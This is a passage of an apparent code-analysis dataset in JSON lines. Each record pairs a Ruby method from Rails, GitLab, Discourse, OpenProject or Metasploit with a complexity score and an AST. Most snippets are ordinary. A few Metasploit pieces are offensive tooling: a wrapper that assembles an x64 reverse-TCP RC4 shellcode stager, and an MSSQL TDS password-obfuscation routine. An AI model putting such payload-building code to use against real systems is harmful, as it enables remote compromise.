end","complexity_score":18.78,"ast_json":"{\"type\":\"def\",\"children\":[\"mssql_tds_encrypt\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pass\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"to_unicode\",{\"type\":\"lvar\",\"children\":[\"pass\"]}]},\"unpack\",{\"type\":\"str\",\"children\":[\"C*\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"&\",{\"type\":\"int\",\"children\":[15]}]}]},\"<<\",{\"type\":\"int\",\"children\":[4]}]}]},\"+\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"&\",{\"type\":\"int\",\"children\":[240]}]}]},\">>\",{\"type\":\"int\",\"children\":[4]}]}]}]}]},\"^\",{\"type\":\"int\",\"children\":[165]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"C*\"]}]}]}","id":"feccd01c-840f-47a8-bd86-ff5039df467c"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/postgresql_rake_test.rb","start_line":22,"raw_source":"def test_establishes_connection_to_postgresql_database\n      db_config = ActiveRecord::DatabaseConfigurations::HashConfig.new(\"default_env\", \"primary\", @configuration)\n\n      mock = Minitest::Mock.new\n      mock.expect(:call, nil, [{ adapter: \"postgresql\", database: \"postgres\", schema_search_path: \"public\" }])\n      mock.expect(:call, nil, [db_config])\n\n      ActiveRecord::Base.stub(:lease_connection, @connection) do\n        ActiveRecord::Base.stub(:establish_connection, mock) do\n          ActiveRecord::Tasks::DatabaseTasks.create(db_config)\n        end\n      end\n\n      assert_mock(mock)\n    end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_establishes_connection_to_postgresql_database\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"db_config\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"DatabaseConfigurations\"]},\"HashConfig\"]},\"new\",{\"type\":\"str\",\"children\":[\"default_env\"]},{\"type\":\"str\",\"children\":[\"primary\"]},{\"type\":\"ivar\",\"children\":[\"@configuration\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"mock\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Minitest\"]},\"Mock\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mock\"]},\"expect\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"adapter\"]},{\"type\":\"str\",\"children\":[\"postgresql\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"database\"]},{\"type\":\"str\",\"children\":[\"postgres\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"schema_search_path\"]},{\"type\":\"str\",\"children\":[\"public\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mock\"]},\"expect\",{\"type\":\"sym\",\"children\":[\"call\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"db_config\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"stub\",{\"type\":\"sym\",\"children\":[\"lease_connection\"]},{\"type\":\"ivar\",\"children\":[\"@connection\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"stub\",{\"type\":\"sym\",\"children\":[\"establish_connection\"]},{\"type\":\"lvar\",\"children\":[\"mock\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Tasks\"]},\"DatabaseTasks\"]},\"create\",{\"type\":\"lvar\",\"children\":[\"db_config\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_mock\",{\"type\":\"lvar\",\"children\":[\"mock\"]}]}]}]}","id":"78f03e0a-2338-4de4-8dfe-55dd171ed3ca"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/listeners/webhook_listener.rb","start_line":86,"raw_source":"def conversation_typing_on(event)\n    handle_typing_status(__method__.to_s, event)\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"conversation_typing_on\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"send\",\"children\":[null,\"handle_typing_status\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"__method__\"]},\"to_s\"]},{\"type\":\"lvar\",\"children\":[\"event\"]}]}]}","id":"10d45097-d612-4b26-896f-576d3e90b24d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/import_export/wiki_repo_saver.rb","start_line":9,"raw_source":"def repository\n        @repository ||= exportable.wiki.repository\n      end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"repository\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@repository\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"exportable\"]},\"wiki\"]},\"repository\"]}]}]}","id":"75ec79ca-b505-4ef7-bfc5-5cee36234d5c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/issuables/assignee_filter.rb","start_line":37,"raw_source":"def by_negated_assignee(issuables)\n      return issuables unless has_assignee_param?(not_params)\n\n      issuables.not_assigned_to(assignee_ids(not_params))\n    end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"by_negated_assignee\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"issuables\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_assignee_param?\",{\"type\":\"send\",\"children\":[null,\"not_params\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issuables\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issuables\"]},\"not_assigned_to\",{\"type\":\"send\",\"children\":[null,\"assignee_ids\",{\"type\":\"send\",\"children\":[null,\"not_params\"]}]}]}]}]}","id":"c1f28a5c-c75b-46bd-9668-160469520745"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/copyright.rb","start_line":79,"raw_source":"def shebang_token?(processed_source, token_index)\n          return false if token_index >= processed_source.tokens.size\n\n          token = processed_source.tokens[token_index]\n          token.comment? && /\\A#!.*\\z/.match?(token.text)\n        end","complexity_score":12.3,"ast_json":"{\"type\":\"def\",\"children\":[\"shebang_token?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"processed_source\"]},{\"type\":\"arg\",\"children\":[\"token_index\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token_index\"]},\">=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"processed_source\"]},\"tokens\"]},\"size\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"token\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"processed_source\"]},\"tokens\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"token_index\"]}]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},\"comment?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\A#!.*\\\\z\"]},{\"type\":\"regopt\",\"children\":[]}]},\"match?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]},\"text\"]}]}]}]}]}","id":"576d302a-e780-460f-a7ba-12587ff4cd3b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/content_security_policy/config_loader_spec.rb","start_line":133,"raw_source":"def protocol\n          https ? 'https' : 'http'\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"protocol\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"https\"]},{\"type\":\"str\",\"children\":[\"https\"]},{\"type\":\"str\",\"children\":[\"http\"]}]}]}","id":"4d0b0b3a-43a7-43f6-a27b-f12e513ef3e4"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/top_menu_item.rb","start_line":36,"raw_source":"def has_filter?\n    filter.present?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"has_filter?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"filter\"]},\"present?\"]}]}","id":"23042cf1-6e51-4f69-9195-6fd3be88b010"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/payload/windows/x64/reverse_tcp_rc4_x64.rb","start_line":50,"raw_source":"def generate_reverse_tcp_rc4(opts={})\n    combined_asm = %Q^\n      cld                     ; Clear the direction flag.\n      and rsp, ~0xF           ;  Ensure RSP is 16 byte aligned\n      call start              ; Call start, this pushes the address of 'api_call' onto the stack.\n      #{asm_block_api}\n      start:\n        pop rbp               ; block API pointer\n      #{asm_reverse_tcp(opts)}\n      #{asm_block_recv_rc4(opts)}\n    ^\n    Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string\n  end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_reverse_tcp_rc4\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"combined_asm\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      cld                     ; Clear the direction flag.\\n\"]},{\"type\":\"str\",\"children\":[\"      and rsp, ~0xF           ;  Ensure RSP is 16 byte aligned\\n\"]},{\"type\":\"str\",\"children\":[\"      call start              ; Call start, this pushes the address of 'api_call' onto the stack.\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"asm_block_api\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      start:\\n\"]},{\"type\":\"str\",\"children\":[\"        pop rbp               ; block API pointer\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"asm_reverse_tcp\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"asm_block_recv_rc4\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"    \"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasm\"]},\"Shellcode\"]},\"assemble\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasm\"]},\"X64\"]},\"new\"]},{\"type\":\"lvar\",\"children\":[\"combined_asm\"]}]},\"encode_string\"]}]}]}","id":"3d79f0b6-75a9-43a6-aa4c-10412fdcc51c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/tools/ci/pipeline_creator.rb","start_line":146,"raw_source":"def noop_pipeline\n          @noop_pipeline ||= File.read(File.join(project_root, \".gitlab\", \"ci\", \"overrides\", \"skip.yml\"))\n        end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"noop_pipeline\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@noop_pipeline\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[null,\"project_root\"]},{\"type\":\"str\",\"children\":[\".gitlab\"]},{\"type\":\"str\",\"children\":[\"ci\"]},{\"type\":\"str\",\"children\":[\"overrides\"]},{\"type\":\"str\",\"children\":[\"skip.yml\"]}]}]}]}]}","id":"dd956895-5c90-43ff-9c80-247ad19222e2"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/tftp/tftp_transfer_util.rb","start_line":225,"raw_source":"def print_tftp_status(msg)\n    case msg\n    when /Aborting/, /errors.$/\n      print_error [rtarget, msg].join\n    when /^WRQ accepted/, /^Sending/, /complete!$/\n      print_good [rtarget, msg].join\n    else\n      vprint_status [rtarget, msg].join\n    end\n  end","complexity_score":15.5,"ast_json":"{\"type\":\"def\",\"children\":[\"print_tftp_status\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"msg\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Aborting\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"errors.$\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rtarget\"]},{\"type\":\"lvar\",\"children\":[\"msg\"]}]},\"join\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^WRQ accepted\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^Sending\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"complete!$\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rtarget\"]},{\"type\":\"lvar\",\"children\":[\"msg\"]}]},\"join\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rtarget\"]},{\"type\":\"lvar\",\"children\":[\"msg\"]}]},\"join\"]}]}]}]}","id":"17f11b46-698e-4e1a-9206-4cfb90b5c325"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/services/post_alerter.rb","start_line":692,"raw_source":"def create_notification_alert(\n    user:,\n    post:,\n    notification_type:,\n    excerpt: nil,\n    username: nil,\n    group_name: nil\n  )\n    self.class.create_notification_alert(\n      user: user,\n      post: post,\n      notification_type: notification_type,\n      excerpt: excerpt,\n      username: username,\n      group_name: group_name,\n    )\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create_notification_alert\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"user\"]},{\"type\":\"kwarg\",\"children\":[\"post\"]},{\"type\":\"kwarg\",\"children\":[\"notification_type\"]},{\"type\":\"kwoptarg\",\"children\":[\"excerpt\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"username\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"group_name\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"create_notification_alert\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post\"]},{\"type\":\"lvar\",\"children\":[\"post\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notification_type\"]},{\"type\":\"lvar\",\"children\":[\"notification_type\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"excerpt\"]},{\"type\":\"lvar\",\"children\":[\"excerpt\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"lvar\",\"children\":[\"username\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group_name\"]},{\"type\":\"lvar\",\"children\":[\"group_name\"]}]}]}]}]}","id":"0e8d1ea6-a72f-4659-93e1-35644b98c7f3"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/controllers/storages/project_storages_controller.rb","start_line":100,"raw_source":"def folder_create_service\n    Storages::Adapters::Registry.resolve(\"#{storage}.services.upkeep_managed_folders\")\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"folder_create_service\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Storages\"]},\"Adapters\"]},\"Registry\"]},\"resolve\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"storage\"]}]},{\"type\":\"str\",\"children\":[\".services.upkeep_managed_folders\"]}]}]}]}","id":"83cc05a4-9ead-447f-bcda-23dccf1f8bdc"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/app_generator_test.rb","start_line":680,"raw_source":"def test_inclusion_of_ci_files\n    run_generator\n    assert_file \".github/workflows/ci.yml\" do |yaml|\n      assert_nothing_raised do\n        YAML.load(yaml)\n      end\n    end\n    assert_file \".github/dependabot.yml\" do |yaml|\n      assert_nothing_raised do\n        YAML.load(yaml)\n      end\n    end\n  end","complexity_score":11.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_inclusion_of_ci_files\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_generator\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\".github/workflows/ci.yml\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"yaml\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"YAML\"]},\"load\",{\"type\":\"lvar\",\"children\":[\"yaml\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\".github/dependabot.yml\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"yaml\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"YAML\"]},\"load\",{\"type\":\"lvar\",\"children\":[\"yaml\"]}]}]}]}]}]}","id":"07be2ffb-f81c-4204-9c2e-53b66f5b4e27"}
{"repo_name":"rails","file_path":"./repos/rails/actionmailbox/app/models/action_mailbox/inbound_email.rb","start_line":33,"raw_source":"def mail\n      @mail ||= Mail.from_source(source)\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"mail\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@mail\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mail\"]},\"from_source\",{\"type\":\"send\",\"children\":[null,\"source\"]}]}]}]}","id":"46c0c9a1-76df-4564-b817-6c16a80ee8fd"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/mylittleforum.rb","start_line":175,"raw_source":"def execute\n    import_users\n    import_categories\n\n    # Uploads first, so posts can link to already-imported Discourse uploads.\n    import_uploads\n\n    import_topics\n    import_posts\n\n    repair_legacy_upload_links if REPAIR_UPLOAD_LINKS\n\n    update_tl0\n\n    create_permalinks\n\n    # persist the upload map at the very end\n    save_upload_map(@upload_map_path, @upload_map)\n  end","complexity_score":10.1,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"import_users\"]},{\"type\":\"send\",\"children\":[null,\"import_categories\"]},{\"type\":\"send\",\"children\":[null,\"import_uploads\"]},{\"type\":\"send\",\"children\":[null,\"import_topics\"]},{\"type\":\"send\",\"children\":[null,\"import_posts\"]},{\"type\":\"if\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPAIR_UPLOAD_LINKS\"]},{\"type\":\"send\",\"children\":[null,\"repair_legacy_upload_links\"]},null]},{\"type\":\"send\",\"children\":[null,\"update_tl0\"]},{\"type\":\"send\",\"children\":[null,\"create_permalinks\"]},{\"type\":\"send\",\"children\":[null,\"save_upload_map\",{\"type\":\"ivar\",\"children\":[\"@upload_map_path\"]},{\"type\":\"ivar\",\"children\":[\"@upload_map\"]}]}]}]}","id":"f0f84c60-814c-441a-a190-a6cf5b00e6ca"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/nuuo/client.rb","start_line":249,"raw_source":"def create_tcp_connection(temp: false)\n    tcp_connection = Rex::Socket::Tcp.create(\n      'PeerHost'  => host,\n      'PeerPort'  => port.to_i,\n      'Context'   => context,\n      'Timeout'   => timeout\n    )\n    self.connection = tcp_connection unless temp\n    tcp_connection\n  end","complexity_score":10.3,"ast_json":"{\"type\":\"def\",\"children\":[\"create_tcp_connection\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"temp\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tcp_connection\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Socket\"]},\"Tcp\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PeerHost\"]},{\"type\":\"send\",\"children\":[null,\"host\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PeerPort\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"port\"]},\"to_i\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Context\"]},{\"type\":\"send\",\"children\":[null,\"context\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Timeout\"]},{\"type\":\"send\",\"children\":[null,\"timeout\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"temp\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"connection=\",{\"type\":\"lvar\",\"children\":[\"tcp_connection\"]}]}]},{\"type\":\"lvar\",\"children\":[\"tcp_connection\"]}]}]}","id":"24471796-6eb7-4088-9e1b-18dbc3255d2c"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/batches_test.rb","start_line":597,"raw_source":"def test_in_batches_should_start_from_the_start_option\n    post = Post.order(\"id ASC\").where(\"id >= ?\", 2).first\n    assert_queries_count(2) do\n      relation = Post.in_batches(of: 1, start: 2).first\n      assert_equal post, relation.first\n    end\n  end","complexity_score":14.45,"ast_json":"{\"type\":\"def\",\"children\":[\"test_in_batches_should_start_from_the_start_option\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"post\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"order\",{\"type\":\"str\",\"children\":[\"id ASC\"]}]},\"where\",{\"type\":\"str\",\"children\":[\"id >= ?\"]},{\"type\":\"int\",\"children\":[2]}]},\"first\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_queries_count\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"relation\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"in_batches\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"of\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start\"]},{\"type\":\"int\",\"children\":[2]}]}]}]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"post\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"first\"]}]}]}]}]}]}","id":"f4eda536-5b7a-4b15-a25c-fe60d2cd4485"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20240904115311_remove_projects_dast_pre_scan_verifications_project_id_fk.rb","start_line":9,"raw_source":"def up\n    with_lock_retries do\n      remove_foreign_key_if_exists(:dast_pre_scan_verifications, :projects,\n        name: FOREIGN_KEY_NAME, reverse_lock_order: true)\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key_if_exists\",{\"type\":\"sym\",\"children\":[\"dast_pre_scan_verifications\"]},{\"type\":\"sym\",\"children\":[\"projects\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"FOREIGN_KEY_NAME\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reverse_lock_order\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"5dee0a4d-1e83-4e9c-90f6-9ef428f655b5"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/costs/app/models/activities/time_entry_activity_provider.rb","start_line":108,"raw_source":"def meetings_table\n    @meetings_table ||= Meeting.arel_table\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"meetings_table\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@meetings_table\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Meeting\"]},\"arel_table\"]}]}]}","id":"4b0a7f73-64ed-4071-a58f-cda1b7e26275"}
